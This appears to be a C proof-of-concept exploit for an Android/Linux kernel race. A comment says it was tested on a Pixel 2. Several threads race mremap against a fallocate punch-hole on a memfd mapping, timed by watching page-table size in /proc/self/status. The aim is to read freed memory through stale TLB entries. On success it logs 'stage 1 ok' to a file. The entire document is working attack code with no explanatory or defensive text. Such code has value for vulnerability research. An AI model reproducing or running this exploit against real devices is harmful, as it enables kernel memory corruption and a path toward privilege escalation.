#define _GNU_SOURCE
//I test the poc in pixel2 with fingerprint: google/walleye/walleye:9/PQ1A.181105.017.A1/5081125:user/release-keys
#include <pthread.h>
#include <stdio.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sched.h>
#include <errno.h>
#include <sys/syscall.h>

#define ul unsigned long

static int alloc_fd = -1;
int worker_launch_pipe[2];
int spinner_cont_pipe[2];

#define allocptr ((void*)0x1000000000UL)
#define allocptr2 ((void*)0x2000000000UL)
#define TLB_USAGE 200
#define AREA_SIZE   0x20000000
#define CORE_0  3
#define CORE_1 4
#define CORE_2 5 
#define CORE_3 6 

void pin_task_to(int pid, int cpu) {
  cpu_set_t cset;
  CPU_ZERO(&cset);
  CPU_SET(cpu, &cset);
  if (sched_setaffinity(pid, sizeof(cpu_set_t), &cset))
    err(1, "affinity");
}
void pin_to(int cpu) { pin_task_to(0, cpu); }

unsigned long get_pt_size(int status_fd) {
  char buf[0x1000 + 1];
  ssize_t res = pread(status_fd, buf, 0x1000, 0);
  if (res <= 0)
    err(1, "status read");
  buf[res] = 0;
  char *p = strstr(buf, "VmPTE:");
  if (!p) errx(1, "bad status");
  p +=  6;
  while (*p == '\t' || *p == ' ') p++;
  return strtoul(p, NULL, 10);
}

void tell_succ() {
  int fd = open("/data/local/tmp/succ", O_CREAT|O_RDWR);
  write(fd, "stage 1 ok", 16);
  close(fd);
}

void *reader_fn(void *dummy) {
  pin_to(CORE_3);
  while (1) {
   for (int i=0; i<TLB_USAGE; i++) {
    ul x = *(ul *)(allocptr + 0x1000UL * i);
    if (x != 0x4141414141414141UL) {
      printf("GOT 0x%016lx\n", x);
      tell_succ();
    }
  }
  }
}

void *truncate_fn(void *dummy) {
  pin_to(CORE_1);

  if (write(worker_launch_pipe[1], "X", 1) != 1)
    errx(1, "write wlp");

  char scpc;
  if (read(spinner_cont_pipe[0], &scpc, 1) != 1)
    errx(1, "read scp");

     //if (ftruncate(alloc_fd, 0)) err(1, "ftruncate");
     if (fallocate(alloc_fd, FALLOC_FL_PUNCH_HOLE|FALLOC_FL_KEEP_SIZE, 0, TLB_USAGE*0x1000)) err(1, "fallocate");
	
    while (1) pause();

}

void *idle_worker(void *dummy) {
  pin_to(CORE_1);

  if (write(worker_launch_pipe[1], "X", 1) != 1)
    errx(1, "write wlp");

  struct sched_param param = {
    .sched_priority = 0
  };
  if (sched_setscheduler(0, SCHED_IDLE, &param))
    err(1, "sched_setscheduler");

  sleep(2); 

  if (mremap(allocptr, AREA_SIZE, AREA_SIZE, MREMAP_FIXED|MREMAP_MAYMOVE, allocptr2) != allocptr2) err(1, "mremap");

  while (1) pause();
}

int main(void) {
  setbuf(stdout, NULL);

  printf("try triggerring..\n");

  if (pipe(worker_launch_pipe) || pipe(spinner_cont_pipe))
    err(1, "pipe");

  alloc_fd = syscall(__NR_memfd_create, "truncate-me", 0);
  if (alloc_fd == -1) err(1, "create");
  if (ftruncate(alloc_fd, AREA_SIZE)) err(1, "trunc init");
  if (mmap(allocptr, AREA_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, alloc_fd, 0) != allocptr)
    err(1, "mmap 1");
  if (madvise(allocptr, AREA_SIZE, MADV_NOHUGEPAGE) && errno != EINVAL)
    err(1, "advice");
  memset(allocptr, 0x41, AREA_SIZE);

  pthread_t thread;
  if (pthread_create(&thread, NULL, reader_fn, NULL)) errx(1, "reader");
  if (pthread_create(&thread, NULL, idle_worker, NULL)) err(1, "idler");
  if (pthread_create(&thread, NULL, truncate_fn, NULL)) err(1, "truncater");

  pin_to(CORE_2);

  char wlpc;
  if (read(worker_launch_pipe[0], &wlpc, 1) != 1 || read(worker_launch_pipe[0], &wlpc, 1) != 1)
    errx(1, "read wlp");

  int status_fd = open("/proc/self/status", O_RDONLY);
  if (status_fd == -1)
    err(1, "open status");

  unsigned long orig = get_pt_size(status_fd);
  int bumped = 0;
  while (1) {
    unsigned long nsize = get_pt_size(status_fd);
    if (nsize != orig) {
      if (!bumped) {
        if (write(spinner_cont_pipe[1], "x", 1) != 1)
          errx(1, "spinner_cont_pipe");

        bumped = 1;
      }

      orig = nsize;
    }
  }

  pause();

  return 0;
}
